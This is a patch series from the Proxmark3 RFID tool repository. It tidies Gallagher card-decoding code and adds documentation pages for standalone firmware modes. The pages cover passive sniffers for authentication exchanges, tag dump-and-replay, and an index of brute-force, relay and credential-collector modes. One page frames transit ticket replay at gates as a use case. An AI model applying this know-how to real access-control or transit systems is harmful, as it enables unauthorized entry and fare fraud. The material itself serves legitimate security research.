+ if (mbedtls_aes_setkey_enc(&actx, diversified_site_key, 128) != 0) { + return PM3_ENOKEY; + } + + if (mbedtls_aes_crypt_ecb(&actx, MBEDTLS_AES_ENCRYPT, mes, sixteen_bytes) != 0) { + return PM3_ENOKEY; + } mbedtls_aes_free(&actx); PrintAndLogEx(DEBUG, "MES after encryption %s", sprint_hex_ascii(sixteen_bytes, 16)); @@ -223,8 +229,12 @@ int gallagher_decode_mes(uint8_t *block, GallagherCredentials_t *creds) { // AES decrypt 16 bytes mbedtls_aes_context actx; mbedtls_aes_init(&actx); - if (mbedtls_aes_setkey_dec(&actx, diversified_site_key, 128) != 0) return PM3_ENOKEY; - if (mbedtls_aes_crypt_ecb(&actx, MBEDTLS_AES_DECRYPT, block, mes) != 0) return PM3_ENOKEY;; + if (mbedtls_aes_setkey_dec(&actx, diversified_site_key, 128) != 0) { + return PM3_ENOKEY; + } + if (mbedtls_aes_crypt_ecb(&actx, MBEDTLS_AES_DECRYPT, block, mes) != 0) { + return PM3_ENOKEY; + } mbedtls_aes_free(&actx); PrintAndLogEx(DEBUG, "MES after decryption %s", sprint_hex_ascii(mes, 16)); diff --git a/client/src/mifare/gallaghercore.h b/client/src/mifare/gallaghercore.h index ef3e6d077..5f6d8fccc 100644 --- a/client/src/mifare/gallaghercore.h +++ b/client/src/mifare/gallaghercore.h @@ -33,7 +33,7 @@ typedef struct { int gallagher_diversify_classic_key(uint8_t *site_key, uint8_t *csn, size_t csn_len, uint8_t *key_output); -int gallagher_read_cad(uint8_t *cad, uint8_t region, uint16_t facility); +int gallagher_parse_cad(uint8_t *cad, uint8_t region, uint16_t facility); void gallagher_encode_creds(uint8_t *eight_bytes, GallagherCredentials_t *creds); diff --git a/client/src/mifare/gallaghertest.c b/client/src/mifare/gallaghertest.c index a75531cd9..27508399b 100644 --- a/client/src/mifare/gallaghertest.c +++ b/client/src/mifare/gallaghertest.c @@ -23,21 +23,21 @@ static bool test_CAD(void) { }; // Entry 0: RC=0xC, FC=0x1337, Sector=0x0F - int result = gallagher_read_cad(cad, 0xC, 0x1337); + int result = gallagher_parse_cad(cad, 0xC, 0x1337); if (result != 0x0F) { PrintAndLogEx(INFO, "Gallagher CAD test 1 failed: expected sector 0x0F, got 0x%02X", result); return false; } // Entry 1: RC=0xD, FC=0x1338, Sector=0x0D - result = gallagher_read_cad(cad, 0xD, 0x1338); + result = gallagher_parse_cad(cad, 0xD, 0x1338); if (result != 0x0D) { PrintAndLogEx(INFO, "Gallagher CAD test 2 failed: expected sector 0x0D, got 0x%02X", result); return false; } // Non-existent entry should return -1 - result = gallagher_read_cad(cad, 0xA, 0x1234); + result = gallagher_parse_cad(cad, 0xA, 0x1234); if (result != -1) { PrintAndLogEx(INFO, "Gallagher CAD test 3 failed: expected -1, got %d", result); return false; From 3d5f1df0937123b76c80f39270929bd9ffd3309e Mon Sep 17 00:00:00 2001 From: pingu2211 Date: Wed, 11 Mar 2026 14:46:42 +1100 Subject: [PATCH 083/162] Pull docs out for all the existing stand alone modes, including a diagram and what do the lights mean, so users don't have to go digging in source code --- README.md | 3 +- armsrc/Standalone/readme.md | 63 ++++++++++ .../4_Advanced-compilation-parameters.md | 2 +- doc/standalone/dankarmulti.md | 106 +++++++++++++++++ doc/standalone/hf_14asniff.md | 81 +++++++++++++ doc/standalone/hf_14bsniff.md | 59 ++++++++++ doc/standalone/hf_15sim.md | 66 +++++++++++ doc/standalone/hf_15sniff.md | 66 +++++++++++ doc/standalone/hf_aveful.md | 84 ++++++++++++++ doc/standalone/hf_bog.md | 68 +++++++++++ doc/standalone/hf_cardhopper.md | 90 +++++++++++++++ doc/standalone/hf_colin.md | 71 ++++++++++++ doc/standalone/hf_craftbyte.md | 67 +++++++++++ doc/standalone/hf_doegox_auth0.md | 77 +++++++++++++ doc/standalone/hf_emvpng.md | 72 ++++++++++++ doc/standalone/hf_iceclass.md | 105 +++++++++++++++++ doc/standalone/hf_legic.md | 66 +++++++++++ doc/standalone/hf_legicsim.md | 81 +++++++++++++ doc/standalone/hf_mattyrun.md | 88 ++++++++++++++ doc/standalone/hf_mfcsim.md | 84 ++++++++++++++ doc/standalone/hf_msdsal.md | 68 +++++++++++ doc/standalone/hf_reblay.md | 87 ++++++++++++++ doc/standalone/hf_st25_tearoff.md | 91 +++++++++++++++ doc/standalone/hf_tcprst.md | 94 +++++++++++++++ doc/standalone/hf_tmudford.md | 74 ++++++++++++ doc/standalone/hf_unisniff.md | 109 ++++++++++++++++++ doc/standalone/hf_young.md | 86 ++++++++++++++ doc/standalone/lf_em4100emul.md | 83 +++++++++++++ doc/standalone/lf_em4100rswb.md | 90 +++++++++++++++ doc/standalone/lf_em4100rsww.md | 89 ++++++++++++++ doc/standalone/lf_em4100rwc.md | 79 +++++++++++++ doc/standalone/lf_hidbrute.md | 82 +++++++++++++ doc/standalone/lf_hidfcbrute.md | 92 +++++++++++++++ doc/standalone/lf_icehid.md | 96 +++++++++++++++ doc/standalone/lf_multihid.md | 81 +++++++++++++ doc/standalone/lf_nedap_sim.md | 74 ++++++++++++ doc/standalone/lf_nexid.md | 77 +++++++++++++ doc/standalone/lf_prox2brute.md | 96 +++++++++++++++ doc/standalone/lf_proxbrute.md | 71 ++++++++++++ doc/standalone/lf_samyrun.md | 95 +++++++++++++++ doc/standalone/lf_tharexde.md | 99 ++++++++++++++++ 41 files changed, 3210 insertions(+), 2 deletions(-) create mode 100644 doc/standalone/dankarmulti.md create mode 100644 doc/standalone/hf_14asniff.md create mode 100644 doc/standalone/hf_14bsniff.md create mode 100644 doc/standalone/hf_15sim.md create mode 100644 doc/standalone/hf_15sniff.md create mode 100644 doc/standalone/hf_aveful.md create mode 100644 doc/standalone/hf_bog.md create mode 100644 doc/standalone/hf_cardhopper.md create mode 100644 doc/standalone/hf_colin.md create mode 100644 doc/standalone/hf_craftbyte.md create mode 100644 doc/standalone/hf_doegox_auth0.md create mode 100644 doc/standalone/hf_emvpng.md create mode 100644 doc/standalone/hf_iceclass.md create mode 100644 doc/standalone/hf_legic.md create mode 100644 doc/standalone/hf_legicsim.md create mode 100644 doc/standalone/hf_mattyrun.md create mode 100644 doc/standalone/hf_mfcsim.md create mode 100644 doc/standalone/hf_msdsal.md create mode 100644 doc/standalone/hf_reblay.md create mode 100644 doc/standalone/hf_st25_tearoff.md create mode 100644 doc/standalone/hf_tcprst.md create mode 100644 doc/standalone/hf_tmudford.md create mode 100644 doc/standalone/hf_unisniff.md create mode 100644 doc/standalone/hf_young.md create mode 100644 doc/standalone/lf_em4100emul.md create mode 100644 doc/standalone/lf_em4100rswb.md create mode 100644 doc/standalone/lf_em4100rsww.md create mode 100644 doc/standalone/lf_em4100rwc.md create mode 100644 doc/standalone/lf_hidbrute.md create mode 100644 doc/standalone/lf_hidfcbrute.md create mode 100644 doc/standalone/lf_icehid.md create mode 100644 doc/standalone/lf_multihid.md create mode 100644 doc/standalone/lf_nedap_sim.md create mode 100644 doc/standalone/lf_nexid.md create mode 100644 doc/standalone/lf_prox2brute.md create mode 100644 doc/standalone/lf_proxbrute.md create mode 100644 doc/standalone/lf_samyrun.md create mode 100644 doc/standalone/lf_tharexde.md diff --git a/README.md b/README.md index 8edee679d..56d5f3ba8 100644 --- a/README.md +++ b/README.md @@ -38,7 +38,7 @@ The Proxmark3 is the swiss-army tool of RFID, allowing for interactions with the | [Linux - Important notes on ModemManager](/doc/md/Installation_Instructions/ModemManager-Must-Be-Discarded.md) | [Validating Proxmark3 Client Functionality](/doc/md/Use_of_Proxmark/1_Validation.md)| | [macOS - Homebrew & Upgrading HomeBrew Tap Formula](/doc/md/Installation_Instructions/macOS-Homebrew-Installation-Instructions.md) | [First Use and Verification](/doc/md/Use_of_Proxmark/2_Configuration-and-Verification.md)| | [macOS - MacPorts](/doc/md/Installation_Instructions/macOS-MacPorts-Installation-Instructions.md) | [Commands & Features](/doc/md/Use_of_Proxmark/3_Commands-and-Features.md)| -| [macOS - Setup and Build](/doc/md/Installation_Instructions/macOS-Compile-From-Source-Instructions.md) || +| [macOS - Setup and Build](/doc/md/Installation_Instructions/macOS-Compile-From-Source-Instructions.md) |[Standalone Modes](/doc/standalone/)| | [Windows - Setup and Build](/doc/md/Installation_Instructions/Windows-Installation-Instructions.md) || | [Termux / Android - Setup and Build](/doc/termux_notes.md) || | [iOS - Setup and Build](/doc/md/Installation_Instructions/iOS-Installation-Instructions.md) @@ -49,6 +49,7 @@ The Proxmark3 is the swiss-army tool of RFID, allowing for interactions with the + ## Notes / helpful documents | Notes ||| diff --git a/armsrc/Standalone/readme.md b/armsrc/Standalone/readme.md index fe4bdfe1e..3066841b8 100644 --- a/armsrc/Standalone/readme.md +++ b/armsrc/Standalone/readme.md @@ -5,6 +5,9 @@ # Table of Contents - [Standalone Modes](#standalone-modes) - [Table of Contents](#table-of-contents) +- [What are standalone modes?](#what-are-standalone-modes) + - [Individual mode documentation](#individual-mode-documentation) +- [Developing Standalone Modes](#developing-standalone-modes) - [Implementing a standalone mode](#implementing-a-standalone-mode) - [Naming your standalone mode](#naming-your-standalone-mode) - [Update MAKEFILE.HAL](#update-makefilehal) @@ -14,7 +17,67 @@ - [Submitting your code](#submitting-your-code) +Standalone modes run directly on the Proxmark3 device without a connected host computer. +See [Developing Standalone Modes](#developing-standalone-modes) for how to build your own. +> Only one (1) mode can be compiled into the firmware at a time (except via [DANKARMULTI](../../doc/standalone/dankarmulti.md)). +## Individual Mode Documentation + +### LF (Low Frequency — 125 kHz) Standalone Modes + +| Mode ID | Document | Description | Hardware | +|---------|----------|-------------|----------| +| LF_SAMYRUN | [SamyRun](../../doc/standalone/lf_samyrun.md) | HID26 read/clone/simulate (Samy Kamkar) | Generic | +| LF_EM4100EMUL | [EM4100 Emulator](../../doc/standalone/lf_em4100emul.md) | Simulate predefined EM4100 tag IDs | Generic | +| LF_EM4100RSWB | [EM4100 RSWB](../../doc/standalone/lf_em4100rswb.md) | Read/simulate/write/brute EM4100 (4 slots) | RDV4 (flash) | +| LF_EM4100RSWW | [EM4100 RSWW](../../doc/standalone/lf_em4100rsww.md) | Read/simulate/write/wipe/validate EM4100 | RDV4 (flash) | +| LF_EM4100RWC | [EM4100 RWC](../../doc/standalone/lf_em4100rwc.md) | Read/simulate/clone EM4100 (16 slots) | RDV4 (flash) | +| LF_HIDBRUTE | [HID Corporate Brute](../../doc/standalone/lf_hidbrute.md) | HID Corporate 1000 card number bruteforce | Generic | +| LF_HIDFCBRUTE | [HID FC Brute](../../doc/standalone/lf_hidfcbrute.md) | HID facility code bruteforce (0–255) | RDV4 (flash) | +| LF_ICEHID | [IceHID Collector](../../doc/standalone/lf_icehid.md) | Multi-format LF credential collector to flash | RDV4 (flash) | +| LF_MULTIHID | [MultiHID](../../doc/standalone/lf_multihid.md) | HID 26-bit multi-card simulator | Generic | +| LF_NEDAP_SIM | [Nedap Simulator](../../doc/standalone/lf_nedap_sim.md) | Nedap RFID simple tag simulator | Generic | +| LF_NEXID | [NexID Collector](../../doc/standalone/lf_nexid.md) | Nexwatch credential collector to flash | RDV4 (flash) | +| LF_PROXBRUTE | [ProxBrute](../../doc/standalone/lf_proxbrute.md) | HID ProxII card number bruteforce | Generic | +| LF_PROX2BRUTE | [Prox2Brute](../../doc/standalone/lf_prox2brute.md) | HID ProxII bruteforce v2 (faster, configurable) | Generic | +| LF_THAREXDE | [Tharexde EM4x50](../../doc/standalone/lf_tharexde.md) | EM4x50 simulate/read/collect | RDV4 (flash) | +| LF_SKELETON | [Skeleton Template](../../doc/standalone/lf_skeleton.md) | Development template for new LF modes | Generic | + +### HF (High Frequency — 13.56 MHz) Standalone Modes + +| Mode ID | Document | Description | Hardware | +|---------|----------|-------------|----------| +| HF_14ASNIFF | [14A Sniffer](../../doc/standalone/hf_14asniff.md) | ISO14443A passive sniffer to flash | RDV4 (flash) | +| HF_14BSNIFF | [14B Sniffer](../../doc/standalone/hf_14bsniff.md) | ISO14443B passive sniffer to flash | RDV4 (flash) | +| HF_15SNIFF | [15693 Sniffer](../../doc/standalone/hf_15sniff.md) | ISO15693 sniffer to flash | RDV4 (flash) | +| HF_15SIM | [15693 Simulator](../../doc/standalone/hf_15sim.md) | ISO15693 dump and simulate | RDV4 (flash) | +| HF_AVEFUL | [Aveful UL Reader](../../doc/standalone/hf_aveful.md) | MIFARE Ultralight read and emulate | Generic | +| HF_BOG | [BogitoRun Auth Sniffer](../../doc/standalone/hf_bog.md) | 14A sniff with ULC/ULEV1/NTAG auth capture | RDV4 (flash) | +| HF_CARDHOPPER | [CardHopper Relay](../../doc/standalone/hf_cardhopper.md) | Long-range 14A relay over serial/IP | RDV4 (BT) | +| HF_COLIN | [VIGIKPWN](../../doc/standalone/hf_colin.md) | MIFARE Classic ultra-fast sniff/sim/clone | RDV4 (flash) | +| HF_CRAFTBYTE | [CraftByte UID Stealer](../../doc/standalone/hf_craftbyte.md) | Scan and emulate ISO14443A UIDs | Generic | +| HF_DOEGOX_AUTH0 | [UL-C/UL-AES Unlocker](../../doc/standalone/hf_doegox_auth0.md) | Unlock password-protected Ultralight tags | Generic | +| HF_EMVPNG | [EMV Visa Reader/Emulator](../../doc/standalone/hf_emvpng.md) | Read Visa EMV cards and emulate transactions | RDV4 (flash) | +| HF_ICECLASS | [IceClass iCLASS](../../doc/standalone/hf_iceclass.md) | iCLASS multi-mode: sim/dump/attack/config | RDV4 (flash) | +| HF_LEGIC | [Legic Prime Reader](../../doc/standalone/hf_legic.md) | Read and simulate Legic Prime tags | Generic | +| HF_LEGICSIM | [Legic Prime Simulator](../../doc/standalone/hf_legicsim.md) | Simulate Legic Prime dumps from flash (15 slots) | RDV4 (flash) | +| HF_MATTYRUN | [MattyRun MFC Clone](../../doc/standalone/hf_mattyrun.md) | MIFARE Classic key check, dump, and emulate | Generic | +| HF_MFCSIM | [MFC Simulator](../../doc/standalone/hf_mfcsim.md) | Simulate MIFARE Classic 1K from flash (15 slots) | RDV4 (flash) | +| HF_MSDSAL | [MSD Visa Reader](../../doc/standalone/hf_msdsal.md) | Read and emulate Visa MSD cards | Generic | +| HF_REBLAY | [Reblay BT Relay](../../doc/standalone/hf_reblay.md) | ISO14443A relay over Bluetooth | RDV4 (BT) | +| HF_ST25_TEAROFF | [ST25TB Tear-off](../../doc/standalone/hf_st25_tearoff.md) | ST25TB store/restore with counter tear-off | RDV4 (flash) | +| HF_TCPRST | [IKEA Rothult](../../doc/standalone/hf_tcprst.md) | IKEA Rothult ST25TA master key dump/emulation | Generic | +| HF_TMUDFORD | [ISO15693 UID Emulator](../../doc/standalone/hf_tmudford.md) | Read and emulate ISO15693 UIDs | Generic | +| HF_UNISNIFF | [Universal Sniffer](../../doc/standalone/hf_unisniff.md) | Multi-protocol sniffer (14A/14B/15/iCLASS) | RDV4 (flash) | +| HF_YOUNG | [Young MFC Sniff/Sim](../../doc/standalone/hf_young.md) | MIFARE sniff/simulation with 2-bank storage | Generic | + +### Multi-Mode Loader + +| Mode ID | Document | Description | +|---------|----------|-------------| +| DANKARMULTI | [Dankarmulti Loader](../../doc/standalone/dankarmulti.md) | Combine multiple standalone modes into one firmware image | + +# Developing Standalone Modes This contains functionality for different StandAlone modes. The fullimage will be built given the correct compiler flags used. Build targets for these files are contained in `Makefile.inc` and `Makefile.hal` If you want to implement a new standalone mode, you need to implement the methods provided in `standalone.h`. diff --git a/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md b/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md index 749d441df..8dc3d445d 100644 --- a/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md +++ b/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md @@ -111,7 +111,7 @@ You can also define multiple options like ^[Top](#top) The Iceman repository gives you to easily choose which standalone mode to embed in the firmware. - +Documentation for each standalone mode can be found in the [Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation). Here are the supported values you can assign to `STANDALONE` in `Makefile.platform`: | STANDALONE | DESCRIPTION | diff --git a/doc/standalone/dankarmulti.md b/doc/standalone/dankarmulti.md new file mode 100644 index 000000000..b05710821 --- /dev/null +++ b/doc/standalone/dankarmulti.md @@ -0,0 +1,106 @@ +# DANKARMULTI — Multi-Mode Standalone Loader + +> **Author:** Daniel Karling (dankarmulti) +> **Frequency:** Multi (LF + HF) +> **Hardware:** Generic Proxmark3 + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/dankarmulti.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +A meta-standalone mode that bundles **multiple** standalone modes into a single firmware image and lets you select which one to run at boot time using the button. + +## Why + +Normally the Proxmark3 can only have one standalone mode compiled in. If you want to switch modes, you must reflash the firmware. DANKARMULTI solves this by wrapping multiple standalone modes into one firmware — you cycle through them with button presses and hold to execute your chosen mode. This is ideal for field work where you need multiple capabilities without a laptop. + +## How + +1. **Boot**: On entering standalone mode, LEDs indicate the currently selected sub-mode. +2. **Cycle**: Press the button to cycle through available sub-modes. LEDs change to indicate the new selection. +3. **Execute**: Hold the button to launch the selected sub-mode. Once launched, that sub-mode takes full control (LEDs, button, etc.). +4. **Exit**: Exiting the sub-mode returns to the DANKARMULTI selector. + +### Default Bundled Modes + +By default, DANKARMULTI includes: + +| Slot | Mode | Description | +|------|------|-------------| +| 1 | [HF_MATTYRUN](hf_mattyrun.md) | MIFARE Classic key check → nested → dump → emulate | +| 2 | [LF_EM4100RSWB](lf_em4100rswb.md) | EM4100 read/sim/write/brute | +| 3 | [HF_TCPRST](hf_tcprst.md) | IKEA Rothult / ST25TA password extractor | + +> Modes can be customized by editing the `dankarmulti.c` source — add or remove `#include`s and update the mode array. + +## LED Indicators + +| LED | Meaning (Selector) | +|-----|---------------------| +| **A** only | Mode 1 selected | +| **B** only | Mode 2 selected | +| **C** only | Mode 3 selected | +| **D** only | Mode 4 selected (if present) | +| **A+B** | Mode 5 selected (if present) | + +> Once a sub-mode is launched, that sub-mode's own LED scheme takes over. + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Single click** | Cycle to next sub-mode | +| **Long hold** | Launch selected sub-mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> Selector : Enter standalone + + state Selector { + [*] --> Mode1 + Mode1 --> Mode2 : Click + Mode2 --> Mode3 : Click + Mode3 --> Mode1 : Click\n(wraps) + } + + Selector --> RunSubMode : Long hold + + state RunSubMode { + [*] --> SubModeActive + SubModeActive --> SubModeActive : Sub-mode running\n(own LEDs/button) + } + + RunSubMode --> Selector : Sub-mode exits + Selector --> [*] : USB connection +``` + +## Customising Bundled Modes + +Edit `armsrc/Standalone/dankarmulti.c`: + +1. Add `#include` for the desired standalone mode header +2. Add entry to the `modes[]` array with the mode's `RunMod()` and `ModInfo()` functions +3. Recompile: + +```bash +make clean +make STANDALONE=DANKARMULTI -j +./pm3-flash-fullimage +``` + +## Compilation + +``` +make clean +make STANDALONE=DANKARMULTI -j +./pm3-flash-fullimage +``` + +## Related + +- [Standalone Modes Overview](../../armsrc/Standalone/readme.md) — Full list of all standalone modes +- [Advanced Compilation](../md/Installation_Instructions/4_Advanced-compilation-parameters.md) — Compilation with STANDALONE= parameter diff --git a/doc/standalone/hf_14asniff.md b/doc/standalone/hf_14asniff.md new file mode 100644 index 000000000..fad1112be --- /dev/null +++ b/doc/standalone/hf_14asniff.md @@ -0,0 +1,81 @@ +# HF_14ASNIFF — ISO14443A Passive Sniffer + +> **Author:** Micolous +> **Frequency:** HF (13.56 MHz) +> **Hardware:** RDV4 (flash and battery recommended) + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/hf_14asniff.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Passively sniffs ISO14443A (NFC Type A) communication between a reader and a card, storing captured frames to the RDV4's onboard flash memory (or RAM on generic hardware). + +## Why + +Many HF access control and payment systems use ISO14443A. By placing the Proxmark3 between a legitimate reader and card, you can capture the full communication — revealing authentication exchanges, data reads/writes, and protocol behavior. This is essential for: + +- **Protocol reverse engineering**: Understand how a reader communicates with cards +- **Authentication capture**: Record authentication handshakes for later analysis +- **System documentation**: Capture real traffic to document proprietary protocols + +## How + +1. Position the Proxmark3 antenna between a reader and card +2. The device captures both reader-to-card and card-to-reader frames with timestamps +3. Frames are buffered in RAM and flushed to flash on button press +4. Retrieve the trace file from flash via the client for analysis with `hf 14a list` + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **1** (A) | Sniffing active | +| **2** (B) | Tag command detected (off when reader finishes) | +| **3** (C) | Reader command detected (off when tag finishes) | +| **4** (D) | Flash unmounting / sync | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Short press** | Stop sniffing, save trace to flash, exit | +| **USB command** | Exit standalone mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> Sniffing : Startup\nFPGA HF mode + + Sniffing --> Sniffing : Capture frames\nLEDs show activity + Sniffing --> SaveToFlash : Button press + + SaveToFlash --> [*] : Trace saved\nLED_D during unmount +``` + +## Retrieved Data + +After sniffing, connect via client and retrieve the trace: +``` +mem spiffs dump -s hf_14asniff.trace -d hf_14asniff.trace +trace load -f hf_14asniff.trace +hf 14a list +``` + +## Compilation + +``` +make clean +make STANDALONE=HF_14ASNIFF -j +./pm3-flash-fullimage +``` + +## Related + +- [14B Sniffer](hf_14bsniff.md) — ISO14443B sniffer +- [15693 Sniffer](hf_15sniff.md) — ISO15693 sniffer +- [Universal Sniffer](hf_unisniff.md) — Multi-protocol sniffer with runtime selection +- [BogitoRun Auth Sniffer](hf_bog.md) — 14A sniffer with auth capture +- [Trace Notes](../trace_notes.md) — Working with trace files diff --git a/doc/standalone/hf_14bsniff.md b/doc/standalone/hf_14bsniff.md new file mode 100644 index 000000000..6e5454bac --- /dev/null +++ b/doc/standalone/hf_14bsniff.md @@ -0,0 +1,59 @@ +# HF_14BSNIFF — ISO14443B Passive Sniffer + +> **Author:** jacopo-j +> **Frequency:** HF (13.56 MHz) +> **Hardware:** RDV4 (flash recommended, optional) + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/hf_14bsniff.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Passively sniffs ISO14443B communication between a reader and card, saving captured frames to flash (or RAM). + +## Why + +ISO14443B is used by certain transit cards, national ID cards, and access control systems (e.g., CEPAS, Calypso). This sniffer captures the full communication exchange for protocol analysis. + +## How + +Identical workflow to [14A Sniffer](hf_14asniff.md) but tuned for the 14443B modulation scheme. Captured frames include both PICC (card) and PCD (reader) traffic. + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **1** (A) | Sniffing active | +| **2** (B) | Tag command | +| **3** (C) | Reader command | +| **4** (D) | Flash unmounting | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Short press** | Stop sniffing, save to flash, exit | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> Sniffing : Startup + + Sniffing --> SaveToFlash : Button press + SaveToFlash --> [*] : Saved to hf_14bsniff.trace +``` + +## Compilation + +``` +make clean +make STANDALONE=HF_14BSNIFF -j +./pm3-flash-fullimage +``` + +## Related + +- [14A Sniffer](hf_14asniff.md) — ISO14443A sniffer +- [Universal Sniffer](hf_unisniff.md) — Multi-protocol sniffer diff --git a/doc/standalone/hf_15sim.md b/doc/standalone/hf_15sim.md new file mode 100644 index 000000000..a25c27e55 --- /dev/null +++ b/doc/standalone/hf_15sim.md @@ -0,0 +1,66 @@ +# HF_15SIM — ISO15693 Dump and Simulate + +> **Author:** lnv42 +> **Frequency:** HF (13.56 MHz) +> **Hardware:** RDV4 (flash memory) + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/hf_15sim.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Dumps an ISO15693 tag's complete memory, then simulates it. Auto-detects tag type (MIM1024, etc.) and specific attributes like DSFID and AFI. + +## Why + +ISO15693 tags are used in libraries, laundry systems, industrial asset tracking, and some access control. This mode enables read-then-replay attacks: capture a tag's full contents and then emulate it at a reader without the original tag present. + +## How + +1. **Wait**: Scans for an ISO15693 tag in the field +2. **Dump**: On detection, reads all memory blocks and tag system info (DSFID, AFI, block size) +3. **Simulate**: Begins emulating the captured tag with full memory contents + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **B** (solid) | Waiting for a dumpable tag | +| LEDs off | Dumping / simulating | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Hold 500ms** | Exit standalone mode | +| **USB command** | Exit standalone mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> WaitForTag : Startup\nLED_B on + + WaitForTag --> DumpTag : ISO15693 tag found + WaitForTag --> WaitForTag : No tag / incompatible + + DumpTag --> Simulate : Dump complete\n(all blocks read) + DumpTag --> WaitForTag : Dump failed + + Simulate --> [*] : Button hold 500ms + WaitForTag --> [*] : Button hold 500ms +``` + +## Compilation + +``` +make clean +make STANDALONE=HF_15SIM -j +./pm3-flash-fullimage +``` + +## Related + +- [ISO15693 UID Emulator](hf_tmudford.md) — Simpler 15693 UID emulation +- [15693 Sniffer](hf_15sniff.md) — ISO15693 protocol sniffer diff --git a/doc/standalone/hf_15sniff.md b/doc/standalone/hf_15sniff.md new file mode 100644 index 000000000..4b6d2e517 --- /dev/null +++ b/doc/standalone/hf_15sniff.md @@ -0,0 +1,66 @@ +# HF_15SNIFF — ISO15693 Sniffer + +> **Author:** Nathan Glaser +> **Frequency:** HF (13.56 MHz) +> **Hardware:** RDV4 (flash recommended) + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/hf_15sniff.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Passively sniffs ISO15693 communication between reader and tag, storing captured frames to flash. + +## Why + +Capture and analyze the communication protocol between ISO15693 readers and tags for reverse engineering or security assessment. + +## How + +Captures bidirectional 15693 frames with timestamps. Note: timestamp counter overflows after approximately 5 minutes 16 seconds of continuous sniffing. + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **1** (A) | Sniffing active | +| **2** (B) | Tag command | +| **3** (C) | Reader command | +| **4** (D) | Flash sync | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Short press** | Stop and save trace to flash | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> Sniffing : Startup + + Sniffing --> SaveTrace : Button press + SaveTrace --> [*] : Saved + + note right of Sniffing + Timestamp overflow + at ~5min 16sec + end note +``` + +## Compilation + +``` +make clean +make STANDALONE=HF_15SNIFF -j +./pm3-flash-fullimage +``` + +## Related + +- [14A Sniffer](hf_14asniff.md) — ISO14443A sniffer +- [14B Sniffer](hf_14bsniff.md) — ISO14443B sniffer +- [Universal Sniffer](hf_unisniff.md) — Multi-protocol sniffer +- [15693 Simulator](hf_15sim.md) — ISO15693 dump and simulate diff --git a/doc/standalone/hf_aveful.md b/doc/standalone/hf_aveful.md new file mode 100644 index 000000000..1692f3510 --- /dev/null +++ b/doc/standalone/hf_aveful.md @@ -0,0 +1,84 @@ +# HF_AVEFUL — MIFARE Ultralight Read/Simulation + +> **Author:** Ave Ozkal +> **Frequency:** HF (13.56 MHz) +> **Hardware:** Generic Proxmark3 + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/hf_aveful.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Reads MIFARE Ultralight family cards (UL, ULEV1, UL Nano, My-d Move) and then emulates the captured card. Auto-detects the card type and block count. + +## Why + +MIFARE Ultralight is widely used in transit systems, event tickets, and small-value tokens. This mode enables standalone read-and-replay for: + +- **Transit fare evasion testing**: Capture a valid ticket and present it at a gate +- **Ticket cloning assessment**: Demonstrate that UL tickets can be replayed +- **NFC application testing**: Verify that applications properly validate UL tags + +## How + +1. **SEARCH**: Scans for MIFARE Ultralight cards using anticollision +2. **READ**: Upon finding a card, detects its type via the VERSION command and reads all accessible blocks +3. **EMULATE**: Loads the captured data into the emulator and broadcasts it as a MIFARE Ultralight tag + +Supports auto-detection of: MIFARE Ultralight, Ultralight EV1, Ultralight Nano, and My-d Move. + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **D** (off during idle) | Blinks during tag search | +| LED patterns | Success/failure indication | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Hold 1000ms** | Cycle states or exit: SEARCH → READ → EMULATE → exit | +| **USB command** | Exit standalone mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> SEARCH : Startup + + SEARCH --> READ : UL card found + SEARCH --> SEARCH : No card / incompatible + + READ --> EMULATE : All blocks read + READ --> SEARCH : Read failed + + EMULATE --> SEARCH : Button hold\n(cycle back) + EMULATE --> [*] : Button hold\n(exit) + + SEARCH --> [*] : Button hold (exit) +``` + +## Supported Cards + +| Card Type | Detection | +|-----------|-----------| +| MIFARE Ultralight | VERSION command response | +| MIFARE Ultralight EV1 | VERSION command response | +| MIFARE Ultralight Nano | VERSION command response | +| My-d Move | VERSION command response | + +## Compilation + +``` +make clean +make STANDALONE=HF_AVEFUL -j +./pm3-flash-fullimage +``` + +## Related + +- [UL-C/UL-AES Unlocker](hf_doegox_auth0.md) — Unlock password-protected UL cards +- [BogitoRun Auth Sniffer](hf_bog.md) — Capture UL authentication passwords +- [CraftByte UID Stealer](hf_craftbyte.md) — Generic 14A UID emulator 